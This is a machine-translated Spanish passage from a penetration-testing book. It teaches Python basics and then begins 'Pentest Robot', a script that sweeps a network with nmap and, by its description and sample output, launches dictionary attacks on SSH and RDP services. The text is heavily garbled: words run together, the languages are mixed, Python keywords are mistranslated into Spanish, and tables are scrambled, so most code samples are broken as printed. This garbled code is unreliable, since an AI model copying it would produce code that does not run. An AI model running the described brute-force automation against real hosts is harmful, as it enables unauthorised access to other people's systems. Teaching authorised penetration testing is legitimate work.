# Excepcionalmente, el shebang que usamos anteriormente no se trata como comentario,
pero los hashes en el resto del script sí lo serán. Este es un ejemplo:
#!/usr/bin/python3
#Imprimirunmensajeparaelusuario
#[Todo]añadirmáslógicaposteriormente
print("¡Hackeemos!")
LineIndentationandImportingModules
AnothercriticalconcepttounderstandinPythonishowtoindicatethatanew
lineofsourcecodelogichasbeenstarted (youwillunderstanditwithexamples
pronto) .Thisgenerallyhappensafteraconditionoraniteration (andmuchmore),
whichwewillseelaterinthischapter.Inthefollowingexample, wewillusethe try / except
statementtocatchanerrorifafiledidnotopenproperly (youwill
seelaterinthischapterhowtheerrorhandlingworksinmoredetail) .Ifthis sucede,
thenamessagewillindicatethatanerroroccurred.Noticethatwewill usetabsforlineindentationafterthe
tratan syntaxandafterthe excepto sintaxis.
El segundo concepto para comprender en esta sección es cómo importar otros módulos (a
veces los llamamos bibliotecas) en Python. Los módulos son bibliotecas que usará dentro
del script. Por ejemplo, cuando ocurre un error, desea que la aplicación salga. Para hacer
el trabajo, puede usar la función sys.exit() .
Pero para lograr su objetivo, primero debe importar el módulo sys en la parte superior de la secuencia
de comandos utilizando la sintaxis de importación :
#!/usr/bin/python3
importsys
tratar:
#Enestalíneautilicélapestañaparasangrado
open_file=open("/usr/share/wordlists/nmap.lst")
#usethetabheraswell
print("¡El archivo se abrió con éxito!") excepto:
#uselafichaaquí print("no se puede abrir el archivo")
#yaquí
Canal de Telegram : @IRFaraExam
Machine Translated by Google
salida del sistema (0)
Entrada y salida
En Python, puede ingresar datos en su secuencia de comandos mediante
la ventana de terminal. Para que funcione, debe usar la sintaxis de entrada
y almacenar su valor en una variable. Si desea usar
use raw_input,
la versión 2que
de Python,
siempre mantendrá el tipo de variable como una cadena.
Para la parte de salida, la mayoría de las veces usará la función de impresión
seguida del mensaje de texto que desea mostrar en la pantalla:
#!/usr/bin/python3
ip_address=input(“Ingrese la dirección IP que desea escanear:“) print(“la dirección IP es:“
+dirección_ip)
Impresión de argumentos
CLI En el ejemplo anterior , usamos una forma interactiva de obtener
alguna entrada del usuario. No siempre es así; puede leer los argumentos
CLI mediante la función sys.argv .
#!/usr/bin/python3
importsys
print("Elnombredelaaplicaciónes:%s"%(sys.argv[0]))
print("Elvalordelprimerargumentoes:%s"%(sys.argv[1]))
La salida de este script (Isaveditas como temp.py ) cuando se ejecuta con el
argumento H@K3R$ se verá así:
root@kali:~/pythonLab#pythontemp.pyH@K3R$ El nombre de
la aplicación es: temp.py El primer valor del argumento es:
H@K3R$
Variables
Las variables se utilizan en cualquier lenguaje de programación (no solo
en Python) para almacenar datos temporales en la memoria.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
el código fuente.
En Python tenemos múltiples tipos de variables, las más comunes son las
siguientes: Numbers: Willstoredigits Strings: Willstoretext
Listas: Willstoreanarraycoleccióndevalores
Tuplas : Willstoreread-onlyarrayitems
Diccionarios: Willstorepares clave-valor
Números
Digitnumberswillbestoredinthistypeofvariable.Let'sseeanexampleof
howtousePythontostoreanumber.Inthefollowingexample, wewillcreatea
variablethatwillholdtheportnumberthatwewanttoscanandthenprintthe
valuetothescreen.Butbeforeprintingittothescreen, wewillusethe str
functiontoconvertthenumbertoastring.Theplussignisusedtoappendthe
stringstogether (theplusisnotusedasanadditionsymbol) .Inotherwords, que
can'tappendastringtoaninteger; ithastobeconvertedfirsttoastringbefore
printingittothescreen:
port_number=80
print("Elnúmerodepuertoes"
+str(número_puerto))
Abriremos Visual Studio Code y crearemos un nuevo archivo seleccionando
el menú Archivo y haciendo clic en el elemento Nuevo archivo. A continuación,
dentro del nuevo archivo, escribiremos el script de Python anterior.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 17.4 Depuración
Si todo está bien (sin errores de escritura), entonces el terminal se encuentra en la parte inferior de la
la pantalla debe mostrar los resultados que se muestran en la Figura 17.5.
Figura 17.5 Salida
¡Felicitaciones! Esta es su primera secuencia de comandos oficial de Python utilizando un profesional
AQUÍ.
Operadores aritméticos
En algunos escenarios, realizará operaciones aritméticas (suma,
resta, etc.) en valores numéricos. Si ese es el caso, entonces tendrá que ser
consciente de la lista de operadores que le permite realizar operaciones aritméticas,
se muestra en la Tabla 17.1 .
Tabla 17.1 Operadores aritméticos
OPERADOR
EJEMPLO DESCRIPCIÓN
FIRMAR
+
ÿ
num1+num2 Suma dos o más números
num1ÿnum2 Resta dos o más números
*
num1*num2 Multiplica dos o más números
/
num1/num2 Divide dos o más números
**
numero1**
Calcula el valor exponencial de dos o más
Canal de Telegram : @IRFaraExam
Machine Translated by Google
números
numero2
%
num1%num2 Calculaelresto(módulo)deladivisión
resultado de dos o más números
Instrumentos de cuerda
En una variable de cadena, puede almacenar valores de texto. Puede almacenar texto en una variable
de tres maneras:
Conuna comilla única
str1='10.0.0.1'
Con comillas dobles
str2="10.0.0.2"
Con una comilla triple (para líneas múltiples)
str3="""LadirecciónIPdeWindows
el host que queremos escanear es 10.0.0.100"""
Formato de cadena
Para dar formato a una cadena de forma adecuada, necesita usar el operador de formato % .
En el ejemplo de número, usamos el signo más para agregar un número entero a una frase (cadena).
Pero la forma preferida de hacerlo es a través del operador de porcentaje como este:
numero_de_puerto=80
print("Elnumerodepuertoes%d"%numero_de_puerto)
El %d representa un entero decimal con signo. Hay muchos más símbolos de conversión que
debe tener en cuenta al utilizar el formato de cadena (consulte la Tabla 17.2).
Tabla 17.2 Formateadores de cadenas
SÍMBOLO DESCRIPCIÓN
%D
Número decimal con signo
%x o %X Número hexadecimal
Canal de Telegram : @IRFaraExam
Machine Translated by Google
%e o %e Número exponencial
%F
número de coma flotante
%C
Personaje
%s
Cadena de texto
Funciones de cadena
En algunos escenarios, desearía ejecutar funciones en cadenas, por ejemplo, si desea
conocer la longitud de una variable de cadena y mucho más. Hay muchas funciones de
cadena, pero la tabla 17.3 enumera las más comunes (de hecho, hay muchas más que
estas;
En los ejemplos de la tabla 17.3, utilizaremos la siguiente variable de cadena:
cadena = '10 .0.0.1 '
Tabla 17.3 Funciones de cadena
FUNCIÓN
DESCRIPCIÓN
EJEMPLO
len (cadena)
Devuelve la longitud de un valor de
cadena.
>>> len (página) 8
reemplazar (valor
antiguo, valor
nuevo)
Reemplaza un valor existente por
otro.
>>>
split(delimiter) Divide un valor de texto de cadena en
una matriz de subcadena usando
un limitador (verá cómo manejar
una matriz pronto).
str.replace('.1','.0') '10.0.0.0'
>>> cadena.dividir ('.') ['10',
'0', '0', '1']
banda
Elimina los caracteres iniciales >>> str.strip () '10.0.0.1' .
Encontrar
Encuentra todas las
ocurrencias en una cadena. Si la
búsqueda no tiene éxito, devuelve
el índice de inicio;
Contar
>>>str.find('.1') 6
>>>str.cuenta('.')
3
Countshowmuchasvecesapareceunvalorenunacadena.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Liza
Una variable de lista es una colección de valores con diferentes tipos (cadena, enteros, etc.).
Cada elemento de la lista tiene un número de índice y comienza en cero. En el siguiente ejemplo,
estamos declarando una variable de lista para almacenar todos los números de puerto que queremos
escanear:
>>>lista_puertos=[21,22,80,443]
>>>lista_puertos[0]
21
LecturaValoresenLista
Para leer una sola lista de elementos, debe usar su número de índice, por ejemplo (basado en la
variable anterior list_ports ):
>>>lista_puertos[1] 22
Para leer una lista de varios elementos, debe seguir la fórmula [índice de inicio: índice hasta] y
tener en cuenta que el índice hasta es exclusivo. Este es un ejemplo:
>>>listar_puertos[0:3]
[21,22,80]
Actualización de elementos de lista
Puede cambiar el contenido de una variable de lista. Para hacer el trabajo, solo necesita especificar
el índice del valor que desea cambiar:
>>>lista_puertos[0]='FTP'
>>>lista_puertos
['FTP',22,80,443]
Eliminación de un elemento
de lista Para eliminar un elemento de lista, debe usar la palabra clave del y también identificar su índice.
Para quitar el puerto 443 de la lista list_ports , debe ejecutar el siguiente comando:
>>>dellist_ports[3]
>>>list_ports
['FTP',22,80]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
tuplas
Las tuplas son como listas, pero la diferencia principal es que las tuplas son de solo
lectura y no se pueden cambiar. Cuando desee declarar una variable múltiple, debe
usar paréntesis para encerrar los valores:
>>>tuple_ports=(21,22,80,443)
>>>tuple_ports[0] 21
Diccionario
La variable adicional albergará una lista de pares de valores clave separados por
dos puntos ( : ). El mejor ejemplo es visualizar cómo funciona este tipo utilizando el
número de puerto ejemplo:
>>>puertos_dic={'FTP':21,'HTTP':80}
>>>puertos_dic['FTP'] 21
MásTécnicasenPython
Acabamos de tocar la superficie de cómo manejar los conceptos básicos
en Python. Cubriremos conceptos de programación más avanzados en
las próximas secciones para construir sus programas con este fantástico
lenguaje.
Funciones
Al igual que las variables, las funciones se crean para organizar
el código y evitar redundancias, errores y malas prácticas de
programación. El código se verá más legible y lógico cuando
agreguemos funciones.
deffunction_name(parámetros):
#logicgoeshere return[valor/Ninguno]
Con base en la estructura anterior, estas son las reglas para crear una función en
Pitón:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Antes del nombre de la función, debe agregar la palabra clave def (definición).
Si su función tomará parámetros, debe agregarlos entre paréntesis después del
nombre de la función.
Antes de iniciar la función, debe agregar el carácter de dos puntos ( :) .
El contenido de la función debe estar sangrado.
Opcionalmente , puede agregar una declaración de devolución para informar que la función ha
terminado de ejecutarse.
Vamos a crear un ejemplo simple agregando una función que imprimirá cualquier mensaje que le
enviaremos:
defprint_text(valor_texto):
imprimir(valor_texto) volver
Valores devueltos
En algunos casos, desea que su función devuelva algunos valores. Por ejemplo, desea devolver el
nombre del servicio según el número de puerto:
defget_serviceName(número_puerto):
ports_services={21:'FTP',22:'SSH',80:'HTTP',443:'HTTPS'}
returnports_services[número_puerto]
imprimir (get_serviceName (21))
Argumentos opcionales
También puede agregar argumentos opcionales dando el valor predeterminado si no se le ha pasado
ningún valor. Usaremos el ejemplo anterior y haremos que el argumento del número de puerto sea
opcional dándole un valor predeterminado de 80:
defget_serviceName(número_puerto=80):
puertos_servicios={21:'FTP',22:'SSH',80:'HTTP',443:'HTTPS'}
returnports_services[port_number] #dado
queportargisopcionalnovoyaatenerunvalorprint(get_serviceName())
Variables globales
Las variables globales se ubican en el ámbito externo (p. ej., no en una función ni en un bucle, etc.)
de una secuencia de comandos de Python y, por lo general, se definen al principio.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
para mostrar cómo funciona es a través de un ejemplo:
#Estaesunavariableglobal
default_portNumber=80
defprint_portNumber():
#Estaesunavariablelocalparalafunciónmisma
default_portNumber=443 returndefault_portNumber
print("Elvalorvariablelocal:%d"%print_portNumber()) print("Elvalorvariableglobal:
%d"%default_portNumber)
Ejecutar el script anterior dará el siguiente resultado:
El valor de la variable local: 443
El valor de la variable global: 80
Cambio de variables globales
¿Qué sucede si desea cambiar la variable global desde dentro de una función? Si ese
es el caso, entonces debe usar la sintaxis global:
#Estaesunavariableglobal
default_portNumber=80
defprint_portNumber(port_number):
#Estaesunavariablelocalquepuedecambiarelvalordelavariableglobal
globaldefault_portNumber default_portNumber=port_number returndefault_portNumber
print("Elvalorvariablelocal:%d"%print_portNumber(443)) print("Elvalorvariableglobal:
%d"%default_portNumber)
Esta vez tenemos resultados diferentes a los ejemplos anteriores ya que cambiamos
el valor de la variable global desde dentro de la función:
El valor de la variable local: 443
El valor de la variable global: 443
Condiciones
Las condiciones se cumplen a través de sentencias if ; comprobarán los resultados booleanos
de una condición para evaluar la condición. Si el resultado devuelto es Verdadero , entonces
,
Canal de Telegram : @IRFaraExam
Machine Translated by Google
la condición se cumplirá, y la definición de Falso
, la condición no se ejecutará.
de ifit puede parecer elegante, pero el principio es sencillo cuando comienza a practicar. He
aquí un ejemplo:
deflogin(contraseña):
if(contraseña=="MrRobot"):
print("¡BienvenidoasociedadF!")
secret=input("Ingrese su contraseña:") #llame a la
función de inicio de sesión (secreto)
Aquí se muestra cómo se ve en la ventana de salida:
Ingrese su contraseña: MrRobot
¡Bienvenido a FSociety!
if/ elseDeclaración
En el ejemplo anterior, vio cómo iniciar sesión con una contraseña, pero ¿qué sucede si
queremos mostrar otro mensaje cuando el usuario ingresa un no válido? En este caso, la
declaración if / else hará el trabajo :
deflogin(contraseña):
if(contraseña=="MrRobot"):
print("¡Bienvenido a la sociedad!") else:
print("¡Hacker de contraseña incorrecta!")
secreto = entrada ("Ingrese su contraseña:") inicio de
sesión (secreto)
El resultado será similar al siguiente si el usuario ingresa una contraseña incorrecta:
Introduzca su contraseña: Gus
WrongPasswordHacker!
Operadores de comparación
En el ejemplo de condición anterior, usamos el operador de comparación doble igual ( == ),
pero hay muchos más que esto. La Tabla 17.4 enumera los operadores de comparación más
comunes que deberá usar al aplicar una comparación
declaración.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Tabla 17.4 Operadores de comparación
OPERADOR DESCRIPCIÓN
EJEMPLO
==
Comprueba si el operando derecho y el operando
>>>puerto_ftp==
izquierdo son iguales
puerto_http
Falso
Comprueba si el operando derecho no es igual
al operando derecho
>>>puerto_ftp!=
Comprueba si el operando izquierdo es mayor que
>>>puerto_ftp>
el operando derecho
puerto_http
Falso
Comprueba si el operando izquierdo es mayor
>>>puerto_ftp>= 21
!=
>
>=
puerto_http Verdadero
o igual que el operando derecho
Cierto
<
<=
Comprueba si el operando izquierdo es menor que el
>>>puerto_ftp<
operando derecho
puerto_http
Cierto
Comprueba si el operando izquierdo es menor que >>> ftp_port <= el
operando derecho
21
Cierto
En los ejemplos de la tabla 17.4, estamos usando dos variables enteras:
puerto_ftp=21
puerto_http=80
Iteraciones de bucle La
sentencia de bucle iterará a través de líneas de código varias veces hasta que se
cumplan las condiciones. Un buen ejemplo se basa en el anterior de la sentencia if ;
whileLoop
En este ejemplo, usaremos el ciclo while para permitir que el usuario ingrese la
contraseña tres veces antes de que lo expulsemos del sistema:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
deflogin(contraseña):
if(contraseña=="MrRobot"):
print("¡Bienvenido a la sociedad!") else:
print("¡Hacker de contraseña incorrecta!")
intentos = 0
while (intentos <3): secreto
= entrada ("Ingrese su contraseña:") inicio de sesión
(secreto) intentos = intentos + 1
if(intentos==3): print("Se
ha realizado el máximo de intentos, saliendo...")
Aquí está la salida:
Introduzca su contraseña: intento 1
¡Hacker de contraseña incorrecta!
Ingrese su contraseña: intent2 ¡Hacker
de contraseña incorrecta!
Ingrese su contraseña: intent3 ¡Hacker
de contraseña incorrecta!
Se ha realizado el máximo de intentos, saliendo...
en bucle
Podemos lograr el mismo objetivo de intento de contraseña usando un bucle for , que
es más simple que el concepto de bucle while (prácticamente no uso el bucle while ;
generalmente uso el bucle for en su lugar).
deflogin(contraseña):
if(contraseña=="MrRobot"):
print("¡Bienvenido a la sociedad!") else:
print("¡Hacker de contraseña incorrecta!")
forattemptinrange(0,3):
secret=input("Ingrese su contraseña:") login(secret)
if(attempt==2): print("Se ha realizado el máximo de
intentos, saliendo...")
Se mostrará el mismo resultado que el ejemplo anterior. Tenga en cuenta que
el rango (0,3) almacenará en la variable de intento esta secuencia 0, 1, 2 (y no 1, 2, 3)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
o 0,1,2,3). Por eso utilicé la condición if(attempt==2) para saber cuándo se maximizaron los
intentos.
Gestión de archivos
Cuando se trata de administrar archivos en Python, tiene dos opciones:
Abrir y leer (solo) un archivo
Escribir en un archivo
Abrir y leer un archivo en Python requerirá que use la función open y le dé dos parámetros:
La ruta del archivo
La letra r para indicar que estamos usando el modo de solo lectura
En el siguiente ejemplo, abriremos un archivo adicional e imprimiremos las primeras 10 líneas
elementos:
#!/usr/bin/python3
importsys
pruebe: open_file=open("/usr/share/wordlists/nmap.lst",'r') print("¡El
archivo se abrió con éxito!")
cuenta=0
forlineinopen_file:
cuenta=cuenta+1 printline
if(cuenta==100): break
excepto: print("no se puede
abrir el archivo") sys.exit(0)
Para escribir en un archivo de Python, debe cambiar la letra r en la definición abierta y
reemplazarla con la letra a (que significa agregar):
#!/usr/bin/python3
defwrite_file(file_path,contenidos):
prueba: open_file=open(file_path,'a')
open_file.write(contenido)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
exceptoExceptionaserr:
print("Error:%s"%str(err)) finalmente:
volver
#callthefunction
write_file('/root/test.txt',"HackingTest\n")
En el ejemplo anterior, debes prestar atención a dos conceptos esenciales (los conocerás en
detalle en las siguientes secciones):
Manejo de excepciones
Caracteres de escape, como \n (nueva línea)
Manejo de excepciones El
manejo de excepciones/errores se asegurará de detectar un error cuando ocurra.
Se debe usar el siguiente patrón cuando desee usar el manejo de errores:
tratar:
#Tucódigovaaquí excepto
[ExceptionObjectType] como [variable]:
#Aquí, usted maneja la excepción
finalmente:
#Addsomelogictoejecutealfinal
Usamos el objeto de excepción ( Exceptionaserr ) en el ejemplo anterior ( función
escribir_archivo). Aun así, hay muchos más tipos de objetos de excepción (tenga en cuenta
que puede usar la palabra clave excepto sin la declaración de tipo de objeto de excepción,
como lo hicimos en el ejemplo de abrir y leer archivo). Como probador de penetración, usará el
tipo de objeto de excepción la mayor parte del tiempo.
Caracteres de escape de texto En el
ejemplo de escritura en archivo, usamos \n para agregar una nueva línea después de la inserción
de un nuevo texto. Agregamos este carácter de escape para ver cómo manejar un caso similar.
Tiene varias opciones de caracteres de escape que puede usar (consulte la Tabla 17.5).
Tabla 17.5 Personajes de PythonEscape
SÍMBOLO DESCRIPCIÓN
\a
Alerta
Canal de Telegram : @IRFaraExam
Machine Translated by Google
\B
Retroceso
\Y
Escapar
\s
Espacio
\t
Pestaña
\norte
Nueva línea
\r
Retorno del carro
Objetos personalizados en Python
Se crearon objetos o clases para organizar el código fuente en una forma aún más granular de lograr un
desarrollo de código limpio. La declaración anterior es un poco filosófica; no se preocupe, comprenderá pronto
qué clase (u objeto) es durante los próximos ejemplos. Los objetos de clase son útiles con programas grandes
de código fuente. No cubriremos todas las técnicas de programación orientada a objetos en este capítulo porque
no necesita un probador de penetración (es para programadores). Pero deberá tener en cuenta las siguientes
terminologías:
Miembros: estas son las variables públicas creadas dentro de una clase (por ejemplo, el miembro de
texto creado en el siguiente ejemplo).
Métodos: Estas son las funciones públicas creadas dentro de una clase (por ejemplo, el método
print_red desarrollado en el siguiente ejemplo ).
Constructor: esta es la función principal que se llama cuando se crea (instancia) el objeto de clase.
Instanciar: esto es cuando el objeto de clase se declara fuera de su alcance (por ejemplo, el objeto de
impresión creado en el siguiente ejemplo).
Self: Esta es una palabra clave utilizada dentro de una tienda de clase presente en su instancia.
Un ejemplo vale un trillón de palabras, empecemos por construir un objeto de clase de impresión para ver
las cosas en la práctica. La siguiente clase tiene dos métodos (funciones): para imprimir un texto de color rojo y
para imprimir un texto de color verde (imagine lo flexible que es esta clase; puede reutilizarla en cualquier programa
que desarrolle):
#!/usr/bin/python3
#Westartaclassherbyusingtheclasskeyword
Canal de Telegram : @IRFaraExam
Machine Translated by Google
classPrintColor:
#Variables de clase local
red_color="\033[91m{}\033[00m"
green_color="\033[92m{}\033[00m"
#Classconstructorbyusingthe__init__function
#self significa la propia clase; siempre debemos incluirlo como el primer parámetro
def__init__(self,text): #Eltextoesunmiembrodeclase self.text=text
#lasfuncionesqueestánexpuestassellamanmétodos
#estafunciónpúblicaimprimirátextocolordefprint_red(self):
print(self.red_color.format(self.text))
#estafunciónimprimirácolorverdetextodefprint_green(self):
print(self.green_color.format(self.text))
#Aquí llamamos a la clase, la instanciamos creando un objeto aprnt
prnt=PrintColor("Texto a imprimir")
#Llamar al método de texto de impresión
verde prnt.print_green()
#Llamar al método de impresión de texto
rojo prnt.print_red()
Resumen
Espero que haya disfrutado y practicado este capítulo. El pitonismo es mi elección
para automatizar todos los escenarios de prueba de penetración. En el siguiente capítulo,
verá cómo tomar lo que ha aprendido en este y aplicarlo para crear una herramienta de
automatización.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 18
PentestAutomatizaciónconPython
Amigos, ¡felicidades! Acaban de llegar al final de este libro. Rara vez la gente se compromete
y se queda hasta el final.
Este capítulo se centrará en cómo tomar una idea simple y luego implementarla en
Python. Los inventores comienzan con una pequeña idea y, a partir de ahí, con voluntad
(después de todos los fracasos), logran sus visiones. En este capítulo, explicaremos cómo
tomar una idea de automatización y usarla como un probador de penetración.
PenetraciónPruebaRobot
La aplicación que usaremos en este capítulo se llama Penetration Test Robot
( pentest_robot.py ). Esta herramienta aprovechará los protocolos remotos en Windows
y Linux OS. Para acceder a un sistema Windows, podemos usar RDP (puerto 3389) y para
acceder a Linux OS de forma remota, podemos usar SSH (puerto 22).
Esta herramienta pretende automatizar el proceso y escanear una sola I por rango y buscar
estos dos servicios. Si están activos, la herramienta intentará automatizar un ataque de
diccionario.
AplicaciónFlujo de trabajo
Los desarrolladores exitosos a menudo diseñan su aplicación antes de comenzar a codificar.
Por lo general, utilizo Microsoft Visio para este fin.
Como puede ver en la Figura 18.1 , el usuario ingresará una sola IP por rango (en formato
CIDR), luego la aplicación realizará las siguientes acciones:
1. Valide la entrada.
2. Buscar hosts en vivo.
3. Los puertos escanean los hosts en vivo y buscan los puertos 22 y 3389.
4.Si los puertos están abiertos, intente un ataque de diccionario.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
5. Guarde los resultados finales en un archivo de texto.
Así es como se ve la versión final de la aplicación cuando se ejecuta:
root @ kali: ~ / pythonLab #. / pentest_robot.py
WelcomeToPentestRobot ############################
####### ##### Ingrese una IP única por rango en formato CIDR
(por ejemplo, 192.168.0.0 / 24): IP / CIDR> 172.16.0.0/24
[i]Comprobando hosts vivos…
[+]172.16.0.1isup [+]172.16.0.2isup
[+]172.16.0.100isup [+]172.16.0.103isup
[+]172.16.0.107isup
[i]Iniciando Nmapportscanonhost172.16.0.1
####################################### ######
[i]IniciandoNmapportscanonhost172.16.0.2 [+]PortOpen:3389/
tcp,ServiceName:ms-wbt-server [i]IniciandoRDPBruteForceonhost172.16.0.2
############################################
[i]IniciandoNmapportscanonhost172.16.0.100 [+]PortOpen:3389/
tcp,ServiceName:ssl/ms-wbt-server? [i]IniciandoRDPBruteForceonhost172.16.0.100 ######################################
######## [i]Iniciando Nmapportscanonhost172.16.0.103
############################################
[i]IniciandoNmapportscanonhost172.16.0.107 [+]PortOpen:22/
tcp,ServiceName:ssh [i]IniciandoSSHBrute-Forceonhost172.16.0.107
#################### ###########################
[*]PentestRobotTerminóLaEjecución!
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 18.1 Flujo de trabajo de la aplicación
NOTA
El código fuente completo de este capítulo estará disponible para su
descarga en GitHubat github.com/GusKhawaja/PentestRobot.
Paquetes de Python
Antes de comenzar a desarrollar esta aplicación, veamos un truco para
instalar paquetes de Python a través de la línea de comandos.
$aptupdate
$aptinstallpython3-pip
Por ejemplo, yapf es un formateador de Python que lo ayudará a formatear su código fuente
de Python (para un desarrollo de código limpio). Para instalarlo en Kali, puede usar pip3 para
hacer el trabajo, como se muestra aquí:
root@kali:~#pip3installyapf
Siempre que quiera usar un paquete nuevo, VSCode usará pip3 para instalarlo (puede
usar yapf para formatear su código Python dentro de VSCode). Por lo tanto, necesitará
instalar pip3 antes de desarrollar una aplicación completa (como la que estamos
construyendo en este capítulo).
Inicio de la aplicación
En esta sección, comenzaremos a crear esta aplicación. Crearemos cada pieza
según el diagrama de flujo de trabajo de la Figura 18.1 . El primer paso es imprimir
un banner y asegurarse de que el usuario entienda lo que necesita ingresar.
Hay una técnica en Python que no cubrimos en el capítulo anterior. Esta
condición ( sentencia if ) se llama al principio cuando se carga la aplicación. De
hecho, aquí es donde vamos a insertar nuestras tareas de inicio. El formato de
la sentencia if se verá así:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
if__name__=='__principal__':
[Aquí, agrega el script que se ejecutará primero]
No te preocupes, entenderás en el siguiente ejemplo cómo funciona. Insertaremos toda la
lógica de carga dentro de esta condición (porque necesitamos que se ejecuten primero):
#!/usr/bin/python3
if__name__=='__principal__':
"""
Aquí es donde se llama por primera vez a la aplicación
"""
#printBanner
print("BienvenidoaPentestRobot")
print("##########################") print("Ingresar
un solo IPorRangoenformatoCIDR(eg192.168.0.0 /24):")
#userinput
cidr_input=input("IP/CIDR>")
imprimir(cidr_input)
Guarde el script y llámelo pentest_robot.py .
El resultado de este script se verá así
(tenga en cuenta que estoy usando Visual Studio Code en la unidad):
Bienvenido a PentestRobot
##########################
Ingrese un solo IPorRango en formato CIDR (por ejemplo, 192.168.0.0 / 24): IP / CIDR>
172.16.0.1 172.16.0.1
Validación de entrada
Ahora es el momento de abordar el segundo paso en el diagrama de flujo de trabajo de la
aplicación, y es la validación de entrada. El usuario ingresará una sola dirección IP o un rango
en formato CIDR.
raw.githubusercontent.com/python/cpython/3.9/Lib/ipaddress.py
A continuación, importe este módulo usando la siguiente línea:
fromipaddressimportip_network
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Dado que usaremos el método ip_network, use la sintaxis de puerto para que esto suceda. Este patrón evitará
que repitamos la misma sintaxis ip_network repetidamente en nuestro script :
#!/usr/bin/python3
fromipaddressimportip_network
defvalidar_entrada(cidr_entrada):
"""
Validateuserinput-IPAddressCIDRformat
"""
hosts=[]
prueba:
hosts=list(ip_network(cidr_input).hosts()) excepto:
imprimir ('Entrada no válida! Ejemplo de rango de CIDRIP válido:
192.168.0.0/24')
volver Ninguno
volverhosts
if__name__=='__principal__':
"""
Aquí es donde se llama por primera vez a la aplicación
"""
#printBanner
print("BienvenidoaPentestRobot")
print("##########################") print("Ingresar
un solo IPorRangoenformatoCIDR(eg192.168.0.0 /24):")
#userinput
cidr_input=entrada("IP/CIDR>")
hosts=validate_input(cidr_input)
Para garantizar la calidad, probemos los tres casos de escenario:
Entrada de una sola dirección IP
Entrada de rango de CIDR válido
Una entrada de rango de CIDR no válida
Escenario 1: IP única (expectativa: sin errores):
Bienvenido a PentestRobot
Canal de Telegram : @IRFaraExam
Machine Translated by Google
##########################
EnterasingleIPorRangeinCIDRformat (por ejemplo, 192.168.0.0 / 24): IP / CIDR>
172.16.0.1 root ali kali: #
Escenario 2: rango válido de direcciones IP (expectativa: sin errores):
WelcomeToPentestRobot
#########################
Ingrese un solo IPorRango en formato CIDR (por ejemplo, 192.168.0.0 / 24): IP / CIDR>
172.16.0.0/24 root Kali: #
Escenario 3: formato CIDR no válido (expectativa: un mensaje de error debe imprimirse):
WelcomeToPentestRobot
#########################
Ingrese un solo IPorRango en formato CIDR (por ejemplo, 192.168.0.0/24):
IP/CIDR> 172.16.0.1/24
¡Entrada no válida! Ejemplo de rango CIDRIP válido: 192.168.0.0/24 root @ kali: #
Refactorización de
código Una metodología de refactorización de codificador se asegurará de evitar prácticas terribles
de programación (como copiar el mismo código en varios lugares, etc.). Los programadores hablan
de esto todos los días, por lo que desarrollan un código fuente limpio. ¿Cómo podemos aplicar este
principio a nuestra aplicación?
1. Tendremos que imprimir una línea de separación en varios lugares.
2. Tendremos que ejecutar comandos en varios lugares.
Crearemos un objeto de clase llamado UTILIDADES y agregaremos dos métodos que cubrirán
los dos escenarios:
clase de subproceso
de importación
UTILIDADES: def__init__(self):
"""
constructor de clases
"""
defseparator_line(self):return"###############################"
Canal de Telegram : @IRFaraExam
Machine Translated by Google
defexecute_command(self,cmd):
"""
Esta función ejecutará el comando de ventana terminal
"""
#declarethecommandoutputvariable cmd_output=
""
intente: cmd_output=subprocess.check_output(cmd,shell=True,
stderr=subproceso.STDOUT)
cmd_output=cmd_output.decode("utf-8")
cmd_output+="\n%s\n"%self.seperator_line()
exceptoExceptionase: print(str(e)) print("Errorcannotexecutethecmd: %s"%cmd) finalmente: returncmd_output
Escaneo de hosts activos El
siguiente paso en el diagrama de flujo de trabajo es buscar hosts activos. Usaremos
Nmap para realizar el trabajo en función de la entrada del usuario (IP única versus rango):
classHostScan:
def__init__(self,host_ip):
"""
constructor de clases
"""
self.host_ip=host_ip
self.util=UTILIDADES()
defis_host_live(uno mismo):
"""
Comprobar si un host está activo y ejecutándose en la red
"""
nmap_cmd="nmap-sn%s"%self.host_ip
nmap_output=self.util.execute_command(nmap_cmd)
if("1hostup"innmap_output): print("[+]%sisup"%self.host_ip)
returnTrue else: returnFalse
defvalidar_entrada(cidr_entrada):
"""
Validateuserinput-IPAddressCIDRformat
Canal de Telegram : @IRFaraExam
Machine Translated by Google
"""
hosts=[] try:
hosts=list(ip_network(cidr_input).hosts()) excepto: print('Invalidinput!
AvalidCIDRIPrangeexample:192.168.0.0/24')
volver Ninguno
volverhosts
if__name__=='__principal__':
"""
Aquí es donde se llama por primera vez a la aplicación
"""
útil = UTILIDADES ()
#printBanner
print("WelcomeToPentestRobot")
print(util.separator_line())
print("EnterasingleIPorRangeinCIDRformat(eg192.168.0.0/24):")
#userinput
cidr_input=entrada("IP/CIDR>")
hosts=validate_input(cidr_input)
#iftheCIDRvalueisvalid if(hosts!
=Ninguno): print("\n[i]Comprobando
hosts activos...")
LIVE_HOSTS=[]
forhostinhosts:
escáner=HostScan(host)
if(scanner.is_host_live()):
LIVE_HOSTS.append(host)
print(LIVE_HOSTS)
Para probar esta nueva pieza de código, implementaremos los siguientes dos casos de prueba:
ConunaúnicadirecciónIP(queseestáejecutando)
ConunrangodedirecciónIP(subredcompleta)
Escenario 1 (expectativa:hostislive):
WelcomeToPentestRobot
#############################################
EnterasingleIPorRangeinCIDRformat (por ejemplo, 192.168.0.0/24):
Canal de Telegram : @IRFaraExam
Machine Translated by Google
IP/CIDR> 172.16.0.1
[i]Comprobando hosts activos...
[+]172.16.0.1isup [Dirección
IPv4('172.16.0.1')] root@kali:~#
Escenario 2 (expectativa: detectar los hosts activos correctamente en la red):
WelcomeToPentestRobot
############################# (por ejemplo, 192.168.0.0 /
24): IP / CIDR> 172.16.0.0/ 24
